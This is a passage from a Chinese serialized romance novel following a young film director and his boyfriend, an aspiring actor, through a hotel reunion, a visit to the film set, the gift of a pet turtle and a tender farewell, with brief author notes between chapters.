这不,他一绕到接机人群的后面,就轻而易举锁定了人潮末端的小卷毛。 席追盯着闻潮声看,“我先飞到了海市找你,会影响你在剧组的进度吗?” 电影《花月》已经在横城开拍一个多月了。 席追本来应该直飞帝京、先回家安顿的,但他实在想先见闻潮声一面,所以才中转落到了海市,打算停留个一两日。 闻潮声早就安排好了,“不会,剧组这两天休息。” 比想象中更顺利地等到了席追,他心里很高兴,“我们走吧?我先送你去酒店?” 他已经考了驾照,这回是开了车来的。 席追颔首,“好,你做主。” 酒店是闻潮声提前找好的,就定在海市的市中心,均价六七千一个晚上。 等到两个人进了酒店套房,席追才忍不住出声调侃,“从甘南县级大床房都给我升级到宝格丽景观房了?短短两年,闻导这是赚了多少钱?” “……” 闻潮声脸一红,“没赚多少钱,我是怕你长时间坐飞机会累,想让你今晚住得舒服些。” 这是他自掏腰包给席追预定的酒店。 当初在甘南是因为条件不允许,要不然,他也愿意给席追定当地最好的酒店。 席追明白闻潮声的心意,眸光微晃。 他伸手摘下对方戴了一路的口罩,笑了声,“这里已经没有其他人了,怎么还舍不得摘下口罩?不闷吗?” “唔。” 闻潮声闷哼一声,下意识地避开了和席追的目光对视,没有了口罩的遮掩,那种久别重逢的羞涩以及微妙尴尬,顿时让他无从遁形。 闻潮声有股说不上来的紧张,想要逃跑,“那、那你好好休息?我先走了。” 只是来不及后退,席追就眼疾手快地将他拉入怀里,想气又想笑,“躲什么呢?” “闻潮声,我是不是还需要和你明确一下,我们俩现在的关系?” 闻潮声嗡声,“……不用。” 他只是习惯了微信上远距离的聊天,突然切换回现实模式,反倒有些不适应了。 席追低头注视着他,一字一句地表明自己的不容易,“所以,你的男朋友大老远地飞回国,第一时间没有选择回自己家,而是先跑来见你,你知道这事吧?” 闻潮声小鸡啄米般地点头,“知道。” “那你现在是打算就这样把我丢在酒店,一走了之?”席追抚上他的后颈,理直气壮地质问,“哥哥,渣男啊?” “……” 闻潮声一张脸红透了,小声辩解,“不是渣男。” “晚了,我现在不太高兴。”席追挑眉,一本正经地要求,“你必须得表示表示,哄哄我。” 闻潮声思考了一会儿,但实在缺乏面对面谈恋爱的经验,于是很认真地求助他,“你想要我怎么表示呢?” 席追忍着笑,“你自己想。” “好吧。” 闻潮声没得到明确的答案,有些苦恼,但视线却好巧不巧地落在了席追的唇上,几乎是一瞬间,他就有了一个很大胆的念头。 他再三确认,“怎么表示都可以吗?” 席追平静的口吻中暗藏鼓励,“嗯,怎么表示都可以。” “……” 闻潮声迟疑了两秒,鼓足勇气,仰头在席追的薄唇上亲了一下。 久违的酥麻触感,一触即分。 席追的呼吸不着痕迹地重了些,越发专注地望着眼前人。 但闻潮声觉得自己这么轻易就得到了一个吻,像是讨到了什么大便宜,眸底隐隐有些雀跃。 “这样,可以吗?” “可以。” 席追凑近蹭了一下闻潮声的鼻尖,撩拨着要求,“但是还不够,你先摘一下眼镜。” 闻潮声忽然就听懂了这句轻描淡写下的暗喻,呼吸一紧,但他向来很听席追的话,于是乖乖地抬手摘下了眼镜。 下一秒,席追就用自己的方式彻底加深了这个亲吻。 闻潮声像个小动物般地呜咽了一声,手一抖,黑框眼镜就掉在了厚实而柔软的地毯上。 他的视线有了片刻的游离,然后上唇就被席追惩罚似地咬了一下,“唔。” “专心点,闭眼。” “……” 酒店的冷气开得很足,但闻潮声还是觉得自己冒了汗,短短几分钟,他就被亲得晕头转向,双腿发软地倚在了席追的怀中。 席追微微撤离,很有分寸地没再更近一步。 他偏头贴近闻潮声发红的耳朵,细细碎碎地吻着,难得露出霸道的那一面,“你哪里都不许去,就留在酒店陪我休息倒时差。”—— 作者有话说:恋爱频率开启[摊手] 感谢小可爱们的支持!本章评论随机红包哟! 第29章 【第029章·旧升温】 “就只喂我一…… 落地窗前, 橘黄色的夕阳散了进来。 闻潮声缓慢转醒,失了焦的视线依次划过席追的眉眼、鼻梁,再到他微微扬起的嘴角, 有种混沌而迷糊的不真实感, “嗯?” 席追凑近,蹭了一下恋人的鼻尖,“睡饱了吗?” 凭借着记忆, 他的指尖准确无误地找到了闻潮声后颈上的小痣,轻轻摩挲揉擦着。 酥麻的热意顺着颈椎传递,闻潮声敏感地缩了一下,睡到发沉的意识才逐渐归拢—— 下午那一会儿回酒店后,席追就以“长时间飞行、要倒时差”的理由拉着他一块休息。 闻潮声没料到自己居然也睡了过去, 有些不好意思,“几点了?你什么时候醒的?” “刚过六点,我就比你早醒了十几分钟。”席追简单交代,又关心道, “最近拍戏是不是很辛苦?我看你睡得很沉。” “还好。” 《花月》的剧组规模算不上大、人手也不多,闻潮声在很多事情上都需要跟着操心。 何况,他对于拍摄画面一向是秉持着高标准的要求,有时候为了一组光影画面,会带领着剧组全体反反复复耗上许久。 这长时间保持着高强度的工作量,难免就会有些吃力。 席追大概能想象到闻潮声的工作状态, 追问, “什么时候杀青?” “顺利的话,七月底吧。”闻潮声估算了一下剧组的拍摄进度,暗藏期待,“你还有空来探班吗?” 席追不忍心让他失望, 一口应下,“会去的。” 他说出自己的后续计划,“我明晚的航班先回一趟帝京,我爷爷又要过寿了,得陪陪老人家。” 席锡山上了年纪,一直很惦记席追这位亲孙子。 席追又说,“还要抽空约见一下全盛娱乐的负责人,详细了解一下签约条款,等忙完了这两件要紧事,我就去横城找你。” “好。” 闻潮声应了下来,思绪却落在另外一件事情上,“全盛娱乐?你考虑好了?” 席追微微颔首,对于新东家已经有了初步的了解—— 全盛影视的本部在帝京,近十年一直主打影视投资和ip孵化产出,去年才在海市设立了分部,逐渐发展起了艺人经纪的板块。 “这家签约后的自由度比较高,本部还有大量的项目资源可以倾斜在自家艺人的身上。” “而且海市这边的经纪板块刚发展不久,短期内,公司高层很愿意花时间和精力去培养新人。” 华娱发展到今天的规模,各家经纪公司层出不穷,稍有不慎就容易踩坑。 虽然全盛算不上头部的影视公司,但一直是稳扎稳打的类型,业内外的风评都挺不错的。 闻潮声相信席追的决断,又问,“要不我再问问我爸妈?替你探探全盛娱乐的底?” 别的不说,以闻春申和宋雪兰的人脉,打听点内幕底细还是很容易的。 “不用,我和我爸妈坦白了要进娱乐圈的事,他们很尊重我的决定,早就已经托人帮我打听清楚了。” 席追停顿了两秒,对着闻潮声猜想,“我估计其中少不了闻叔和宋姨的帮忙。” 闻潮声才知道这事,干脆放心下来,“好的,那应该挺靠谱的。” “别担心我。” 席追看着闻潮声明显瘦下去的脸颊肉,“饿不饿?我直接让酒店送餐上来,我们晚餐就在房间里吃?” 闻潮声没有意见,“好的。” 席追问,“想吃什么?” 闻潮声想了想,不太确定地问他,“日料好吗?我想吃金枪鱼寿司,还有甜虾。” “好的,哥哥。” 席追轻笑,趁机在他床上又偷了个吻。 …… 大夏天的,两人也没想着出门逛逛,只是待在酒店里好好休整了一番,这才分开两地,继续忙碌起了各自的事业。 暑期的横城,是名副其实的火炉。 剧组调配来的三台制冷鼓风机同时启动,也难耐这离谱的高温,工作人员们三三两两地待在阴凉处,抓紧时间午休。 身为导演的闻潮声却无暇放松,他蹲坐在几台监视器,认真审视着上午已经拍摄完成的片段。 桌面上的那点小电风扇根本起不了任何作用,长时间运作的器材散发出高温,让他原本白皙的脸泛起了潮热。 忽然间,林可漾带着搬运饮料的工作人员走了进来,“对对对,这堆饮品就搬到这里吧!麻烦你们了,谢谢!” 在简单指挥摆放后,她又对着全剧组大声喊话,“各位,席追老师来探班啦,请大家喝冰奶茶、冰咖啡还有冰镇水果,有需要的人自己来取!” 大夏天,谁不想来点冰饮降降温? 这话一出,还算安静的剧组顷刻热闹起来。 闻潮声原本还沉浸在工作审片里,但听见“席追”两字后,他的视线立刻有了偏移—— 下一秒,再熟悉不过的身影就出现在了他的视野里。 “闻导,我来探个班。” 席追快步走到他的身边,看似冷锐的眉眼透着一缕专属的温柔笑意。 闻潮声藏在镜片下的眸光透出惊喜,下意识地想要起身,“你……” 席追制止了他的动作,扯来椅子坐下。 闻潮声看了一眼后面正忙着瓜分饮品的剧组成员,低声问,“不是说明天才来探班吗?怎么提早来了?” 席追将吸管插入冰镇的芒果汁里,给他递了过去,“想给你一个惊喜,结果被尽职尽责的安保拦在外面,差点进不来。” 好在他有林可漾的微信,让对方外出接应了一下。 席追示意,“喝点?看你,脸都热红了。” 闻潮声咬着吸管喝了两口芒果汁,目光却不舍得离开席追。 短短几秒,他就觉得自己原本还有些沉闷的身体跟着轻快起来,“好喝。” “……” 席追受不住他这样的视线攻势,凑近,用指腹抹掉他鼻尖上的一点汗,“别这么盯着我,不能在这儿亲你。” 闻潮声害羞地连忙坐直身体,没什么威慑力地发出警告,“别瞎说,这里是在剧组呢!” 席追控制着音量,“怕什么,又没人听见。” 闻潮声搅了两下芒果汁,转移话题,“你是开车来的吗?吃过午饭了吗?” 席追摇头,“还没,早起替我爷爷去拜访了一个旧友,然后就往你这边赶了。” 他是凌晨落地海市,直接在机场租了车。 早起在酒店餐厅潦草应付了几口,拜访完席老先生口中的旧友,马不停蹄地赶到了横城。 靠着早餐,挺到了现在。 闻潮声听见这话,拧了拧眉,“没吃饭怎么能行?” 他连忙将芒果汁搁在一边,又弯腰往脚边的泡沫冰镇箱里拿出了一盒糕点,“这个,你要不要尝尝?” 盒子里的糕点是浅褐色的,被切成了一小块、一小块的,每块上面还不规则地夹杂着几粒红豆。 席追没见过这玩意儿,“是什么?” 闻潮声解释,“学姐买的,是这边当地的特色小吃,叫糖洋。” 他说着,就用竹签插了一块,递给席追,“我偶尔用它来垫肚子,感觉还行。” 席追却没接过竹签自己吃,而是特意拢住了闻潮声的手腕,指腹在细腻的腕上不轻不重地摩挲,这才俯身咬下了那块软糯的糖洋。 “……” 闻潮声被撩得呼吸一紧,总觉得席追在吃的不是糕点。 席追看穿了他眼神中的游离,明知故问,“嗯,在想什么?” “没有。”闻潮声压住那点不着调的联想,问他,“好吃吗?” 席追说,“嗯,比想象中得好吃。” 闻潮声干脆将一盒子的糖洋都塞在他的手上,闷声,“那、那你自己吃。” 席追不太满足,“就只喂我一口?” “在剧组呢。” 闻潮声是真的很怕被剧组其他人发现,“你自己吃。” 毕竟席追接下来是要当演员的,他们之间的关系暂时不太方便往外透露。 想到这事,闻潮声又打听,“你和全盛娱乐谈得怎么样了?” 席追是真的有点饿了,慢悠悠地又咬了一块糖洋,“谈好了,签订了初步的意向合约,合约期五年,八月一号正式起效。” “扣去前期的培养等费用,如有盈利,前三年,公司艺人四六分,后两年,改为五五分。” 对比起其他经纪公司,这样的签约条件确实不算苛刻了。 席追确实长了一张很上镜的电影脸,公司艺人部很满意他的外在条件,所以从一开始就表达出了强烈的合作意愿。 席追说,“按照公司那边的意思,他们会先安排我去影视院校上半年的表演专业课。” 期间会安排一到两部制作周期短的古偶,让席追先在大众面前刷刷脸,明年再给他物色合适的电影试镜。 闻潮声点头,“听上去,好像还行。” 席追也对这个安排没意见,只是提前和闻潮声打了预防针,“就是我接下来可能会有点忙,不过好歹是在国内,想要见面总比异国要简单。” 闻潮声不觉得这是大问题,“嗯。” 话音刚落,又一道声音就响了起来,“闻导。” 闻潮声和席追纷纷探去视线—— 来人穿着电影里的角色戏服,故意做得破旧粗糙,脸上的妆容细节刻意向“普通”靠拢,还涂了深一度的粉底,唇色灰白干裂,像极了营养不良的模样。 不过,他的身形清瘦却挺拔,走路的姿态也很优雅,难掩骨子里透出的那股矜贵。 席追和来人对上视线,谁也没急着说话。 “今兆。” 反而是闻潮声先出了声,“这位是、是我的朋友,席追。” 席追听见这句“朋友”,眸光暗了暗,却也明白闻潮声的考虑,没有纠正。 为了角色扮丑的简今兆没有一丝局促,从容伸手,“我知道,席老师你好,我是简今兆,之前看过你的电影作品,很出彩。” 席追放下糖洋,起身回应,“不用那么客气,喊我名字就行。” “嗯。” 两人简单招呼,也算是认识了。 闻潮声看了一眼时间,又递给席追一道眼神暗示,这才迅速切换回了工作状态,“今兆,你过来坐,我们把下午的戏份再过一遍。” “好的。” “……” 席追深知闻潮声对拍摄的严谨和专注,没有打搅,默默坐在了他的后面。 下午的戏份过得很顺畅,不到六点,剧组就收了工。 林可漾走了过来,“席追,你今晚是要住在横城?定酒店了吗?” “还没定。” 席追从容地看了一眼边上正在收拾背包的闻潮声,“闻导说了,他会亲自帮我安排住宿的。” 闻潮声提包的动作一顿。 林可漾却很上道,说话声都带了点波浪号,“哦~那我就不操心了,晚上要约会,先走一步。” 席追点头,“好,漾姐拜拜。” 闻潮声眼看着林可漾渐行渐远,不禁“心虚”地松了一口气。 席追失笑,“紧张什么?” 闻潮声想了想,很认真地交代,“我们的事情暂时不要让别人知道,对你不好的。” 席追明白他的顾虑,却还是说,“但我不想藏着掖着。” 闻潮声却坚持,“反正现在不行,对你的前途真的不好。” 两人在这个问题上难得产生了分歧。 席追叹了口气,只好暂时搁置这个问题,“现在说什么都还太早了,先不讨论这事了,走吧,去停车场,先回酒店?” “好的。” 两人并肩往外走,在停车场时,正好遇见了卸了妆的简今兆。 对方穿了一件再简单不过的白T恤,没了戏内“丑妆”的遮挡,那张天生的美人脸蛋终于显露无遗,皮相好,骨相更绝。 席追眸光微晃,不是在欣赏简今兆的颜值,而是在佩服闻潮声选角的眼光。 简今兆走近,“导演,你们还没走啊?” “正准备回酒店了。”闻潮声和简今兆也算熟悉了,反问他,“你怎么一个人在这里?经纪人呢?” 简今兆说,“车在半路抛锚了,还没到。” 席追原先是不爱多管闲事的,但考虑到对方是闻潮声亲自选定的主演,于是客套发问,“要不要坐我们的车走?” “……” 闻潮声的思绪慢了半拍。 他看着难得对外人热情的席追,心尖凝上一丝微妙的酸。 “谢谢,但不用了。” 简今兆摇了摇头,“我经纪人快到了,而且今晚还有点其他工作。” 席追也不多问,“行,那我们先走了。” 闻潮声冲着简今兆微微颔首,这才跟着席追继续走,垂着眸,也不说话。 席追走到最角落的树荫底下,他租来的越野车就停在这个位置。 他解了车锁,偏头察觉出了闻潮声的心不在焉,“怎么了?在想什么?” 闻潮声看了看他,又瞥了一眼还等在停车场入口的简今兆,偷偷藏起那点不着调的酸。 “没有想什么。” “撒谎。” 席追一秒戳破他的伪装,“看简今兆做什么?不开心了?” 闻潮声觉得自己的表现不是很明显,也不知道席追是怎么猜到的?他深吸一口气,决定继续嘴硬。 “没有不开心。” “真的?” 席追显然不信。 他不着痕迹地叹了口气,忽地换了种方式,“哥哥,我现在送你一个礼物,你再和我说实话,行不行?” 闻潮声凝滞的思绪重新运转,镜片里映出瞳孔深处的好奇,“礼物?” “嗯。” 席追神秘兮兮地勾着他,“想不想看?” 闻潮声这回倒是很诚实,“想的。” 席追打开后排车门,车座上放着一个大的泡沫箱,他将箱子整体往外面挪了一点,这才打开上面钻了孔的泡沫盖子。 “喏,你看看。”—— 作者有话说:重磅嘉宾即将登场[墨镜] 营养液过2k啦!十分感谢小可爱们的支持和投喂!今晚的评论也请摩多摩多!还是随机红包哦[红心] 第30章 【第030章·旧升温】 “时间还早,…… 闻潮声立刻探去了视线, 不出三秒,眼中的好奇就被惊讶所取代—— 他原本以为能被席追放进泡沫箱子里的“礼物”,要么是需要保温保质的食物, 要么是需要防止磕碰的易碎装饰品。 但没想到, 箱内居然摆放了一个小型的透明生态缸,此刻,一只巴掌大的乌龟就待在缸内, 看上去有些呆头呆脑的。 兴许是被突如其来的搬运动静吓到,它立刻将小脑袋缩回了自己的乌龟壳里。 “……” 席追偏头,观察着闻潮声的反应。 对方正一脸发懵,似乎是没想到他会送出这么一份特别的礼物。 过了好几秒,看傻眼的闻潮声才勉强回过神, “你从哪里弄来的乌龟?” “早上替我爷爷去看望他的旧友,老人家住在海市东郊那一带的别墅,那附近有一处半人工引流的钓鱼潭。” “听说,原本是打算规划成度假区的一部分, 但开发商弄到一半没钱跑路了,久而久之就成了废潭,偶尔会吸引钓鱼佬。” 席追将小乌龟从透明缸内拿了起来,详细解释起它的来源。 “这乌龟就是从潭里捞出来的,搁在老人家的水池子里养了没两天,我看着有趣, 厚着脸皮讨要了过来。” 席追怕它耐不住高温, 还特意找了冰袋和泡沫箱隔着降温。 说着,他就将这只还缩着脑袋的小家伙比划到了闻潮声的面前,“喏,像不像你?遇事就闷闷躲着。” 闻潮声看见了席追明晃晃的调侃, 哼唧,“我都说了我不是乌龟。” “嗯,我说它呢。” 席追暗笑,却不强求闻潮声收下这份礼物,“想着带过来给你解闷,你要是不喜欢,那就……” “算了”两字还没出口,闻潮声就双手接过了他手里的小乌龟,“我没说不要。” 说来也巧,像是真的存在“同类”相吸。 这只乌龟居然小心翼翼地探出了小脑袋,缩着脖子和闻潮声的视线恰好对了个正着。 “……” 嗯? 这小家伙是挺可爱的。 闻潮声不由扬起嘴角,用指尖轻轻抚摸着它的龟壳。 席追瞧见一大一小的对视,跟着笑了笑,“先上车吧?外面热。” “好。” 两人上了车,关了门。 闻潮声怕小乌龟没有安全感,特意将后排的透明水缸挪到了膝盖上,将它放了回去,然后继续低着脑袋观察着这个小家伙的一举一动。 席追没急着发动车子,目光始终落在闻潮声的侧脸上,“现在有开心一点了吗?” 闻潮声愣了一秒,抬起头,“我、我刚刚真的没有不开心。” 席追自然不信这套敷衍的说辞。 他俯身替闻潮声扯过安全带、细致扣好,然后没有及时撤身,只是静静注视着眼前人。 “嗯?” 单纯的一个音节,没有咄咄逼人,只是暗藏着等待。 “……” 闻潮声撞上席追近在咫尺的目光,知道对方是不问清楚不罢休了,他纠结了半天,才没什么底气地开了口。 “席追,今兆是不是很好看?” 没头没脑的一句话,但席追默契地领悟了弦外之音,他眼里最初的那点担心消融,一点一点地转化成了很微妙的悦意。 到最后,嘴角上扬的弧度都快收不住了。 “原来不是不开心,而是吃闷醋了。” “……” 闻潮声看清他眼底一闪而过的揶揄,试图解释,“我没别的意思,就是随便问问,今兆他确实……确实长得很好看。” 闻潮声只比简今兆大了一岁,两人在剧组挺聊得来的,他不是嫉妒,而是发自内心地认定—— 以简今兆的颜值、实力和肯吃苦进步的心,将来势必会成为一个很棒的演员。 席追没有顺着闻潮声的话往下接,而是反问,“我们闻导挑主演的眼光,什么时候差过?” 闻潮声慢了两秒嘟囔,“你这是在夸我,还是在夸你自己?” 席追笑着叹了口气,也不做多余的解释,搂着闻潮声的后颈就吻了上去。 浅尝辄止的亲吻,足够变成一剂强有力的安定,闻潮声瞬间就放松了下来。 席追解释,“简今兆是你挑选的主演,和他对话是出于礼貌,提出可以带他回酒店,同样是看在你的面子上。” “他的好看,将来自然会有他的另一半去欣赏,不关我的事。” 席追的指腹蹭了一下闻潮声的后颈痣,是安抚,也是告白,“哥哥,我只喜欢你。” “……” 闻潮声缓慢地眨了一下眼,心脏被膨胀的幸福感填满,“哦。” 他也知道自己那点酸味太过离谱,挺不好意思地转移话题,“你给这只小乌龟取名了吗?” 席追明知道这一话题转变显得有些生硬,却还是很配合地说,“嗯,取了。” 闻潮声问,“叫什么?” 席追发动车子,随口胡诌,“姓闻,叫快快,希望它以后不要慢吞吞的。” “……” 闻潮声总觉得席追在“内涵”自己,但没有证据。 透明缸里的小龟又探出了小脑袋,摇摇摆摆得还挺可爱,他原地考虑了两秒,最终没拒绝这个名字。 “好吧。” 闻潮声伸出手指,轻缓地抚摸了一下冰凉凉的乌龟壳,“闻快快你好,我叫闻潮声,以后你就要跟我生活了,我会努力照顾好你的。” 席追听见这声特别可爱的自我介绍,宠溺地笑了声,“哥哥,给我开个酒店导航,走了。” “好的。” …… 是夜。 洗漱完的席追走出浴室,发现闻潮声还陪坐在水缸前,饶有兴致地查着手机资料。 听见席追的动静后,他才抬起头说,“我刚在线上找异宠店咨询了一下,店家说,快快就是巴西龟,看龟壳纹路估计不满一岁呢。” 席追走近,坐在了他的身边。 大概是已经适应了新环境,快快比一般的小乌龟更大胆些,这会儿正努力地想要攀爬出玻璃生态缸,可惜小脚打滑,噗呲一下就栽了一个跟头。 闻潮声替它翻过身,一本正经地说,“不准调皮。” 席追发笑,也不知道是在指谁,“呆龟。” 他发现闻潮声的视线又一次落回在了手机上,问,“在忙什么?工作?” 闻潮声说,“不是,给快快买龟粮,还有一些必要的饲养用品。” 虽然饲养小乌龟并不在他的计划之内,但这是席追送来的礼物,他说什么都要将快快好好养大。 席追看了一眼时间,温声制止,“不早了,你先去洗澡,我来替你买好。” 闻潮声以为席追是今天开车赶路累了,想要早点睡,“好的,那我先去洗澡了。” 席追应了一声,“嗯,去吧。” … 淅淅沥沥的水声停下,没一会儿,闻潮声就穿着睡衣出来了。 席追已经从沙发上移回了床边,“东西已经买好了,地址填了酒店,写得是你的名字和手机号。” 闻潮声走近,却没急着上床,“好的。” 席追问,“你还要做什么吗?” “唔,没了。” 闻潮声摇头,只是从床头柜的抽屉里取出了一罐才拆封没多久的身体乳,“我擦点这个就好了。” 他没有很精细的护肤计划,用身体乳也能拿来擦脸。 席追眸光微晃,很有兴致地凑近,“我来帮你。” “……” 闻潮声还没反应过来,席追就已经拿过了他手中的身体乳,盖子一打开,浓郁好闻的椰奶香气就溢了出来。 席追伸出手指,慢条斯理地揩了一些,“要擦哪里?” 闻潮声愣了愣,莫名有些不好意思,“擦脸就行,我、我自己可以的。” “别动。” 席追轻扣住闻潮声的下颚,画画似地将身体乳一点点地涂在了他的脸上。 闻潮声有点痒,求饶,“席追,你别捣乱。” “嗯?没捣乱。” “哥哥,我这不是在好好涂吗?”席追的指腹慢悠悠地抹蹭着他的脸,不忘夸,“皮肤怎么这么好?别动。” “……” 闻潮声被逗得脸颊发烫,却还是听话得一动不动。 沾着身体乳的掌心慢慢下滑。 席追不轻不重地扣住了闻潮声的脖子,像是一种试探,“这儿呢?要不要也涂一点儿?” 闻潮声呼吸一颤,害羞的拒绝到了嘴边,却鬼使神差地变成了赞同,“要、要的。” “好的。” 席追很满意他的答案。 随着涂抹的轻缓动作,脖颈上的脉动一下比一下跳得剧烈,彼此间的呼吸早在不自觉间变得滚烫。 闻潮声根本受不住这样无声又暧昧的氛围,下意识地想要往后撤,“可、可以了,我们早点、早点睡吧。” 席追却没给他逃离的机会,搂着腰将他拽回到了自己的怀中,“不用涂身体了?” 闻潮声的手不自觉地攥住了眼前人的衣角,睫毛颤了颤,“不用。” 只可惜,这声拒绝根本起不到任何作用。 席追低头擒住了他的唇,似有若无的吻里带着不容抗拒的温柔,“哥哥,你要的。” “我……” “时间还早,我慢慢给你涂。” 浓郁的香气散了一室,无声弥漫,席卷了夜色。 … …… 考虑到闻潮声日复一日的高强度工作,在某些的事情上,席追还算有点人性。 互帮互助,点到为止,没有进展到最后一步。 席追在横城陪了闻潮声将近一周,直到和公司约定的培训日开启,他才不得不为了接下来的事业而返回帝京。 天才蒙蒙亮,闹钟刚响起,席追就已经有了反应,他以最快的速度关闭了闹铃,眼中的困意还没完全消散。 “……” 席追本能地搂紧带着香气的、还在熟睡的闻潮声,埋头抵在对方的颈窝处,不自觉地吻了又吻。 还在睡梦中的闻潮声感受到颈侧异常的酥麻后,忍不住哼唧了一声,“痒。” 席追舍不得再闹他,也没时间继续赖床了。 他待会儿得先赶到临近的机场,然后再坐航班飞回帝京—— 公司安排的演员培训班也在帝京影视学院,而且按照艺人规划部的通知,他需要提早前往全盛娱乐的本部进行报道,顺便拍摄新人演员的官宣照。 席追轻手轻脚地翻身下床,进了浴室收拾好自己,等到再出来时,闻潮声还在被窝里一动不动地蜷缩着,睡姿一如既往的乖。 席追犹豫了两三秒,还是凑近喊他,“潮声?哥哥?” “嗯?” 闻潮声迷迷糊糊地应了一句。 席追捏了捏他的耳朵,低声告别,“我得走了。” “……” 半梦半醒的闻潮声听见这话,骤然睁眼,甚至一下子从被窝里翻坐了起来,“唔!” 由于起身时的反应过于急促,他的心跳骤然加速,引得一阵晕眩,差点就要往后栽回去。 席追蹙眉,扶住他,“急什么?” 闻潮声轻吸了一口气,意识慢慢归拢,“你要走了吗?不是定了闹钟吗?我、我怎么没听到?” 席追解释,“我给关了,本来想让你多睡一会儿。” 电影《花月》临近杀青,但闻潮声的工作压力却没减少,好不容易今早能休息半天、下午才开工,席追私心想让他多睡一会儿。 闻潮声望着眼前已经收拾好的席追,内心的那点不舍又涌了出来,“我送你下楼吧。” “不用了。”席追不想他来回折腾,揉了揉他的小卷毛,“你再躺回去多睡一会儿。” 闻潮声抿了抿有些干涩的唇,“……我睡饱了。” 席追笑了声,“那就多懒一会儿床,等到了机场我再给你发微信。” “好。” 闻潮声应了一声,眸光透着点润。 电影《花月》的投资方在海市,组建好的后期团队也在海市,换句话说,电影杀青到后期、再到上映,他大概率是要留在海市忙碌的。 “等有空我就飞来海市找你,你有空也可以去帝京找我。” 席追瞧出恋人藏起来的舍不得,主动贴了贴他的额头,“不要难过,属于我们的未来才刚刚开始。” 既然已经下定决心要踏上“导演”与“演员”这两条注定交汇的路,那他们就应该为了各自、为了彼此而努力。 闻潮声剧烈跳动的心渐渐安稳了下来,“好。” 他垂眸望着席追搭在床沿的手,鼓起勇气伸手去牵,短暂地和他十指相扣,“我、我会想你的。” 席追笑着接收了恋人难得的主动,吻了吻他的唇,“哥哥,我也会想你的。”—— 作者有话说:是香香的乌龟宝宝[让我康康][黄心]《 》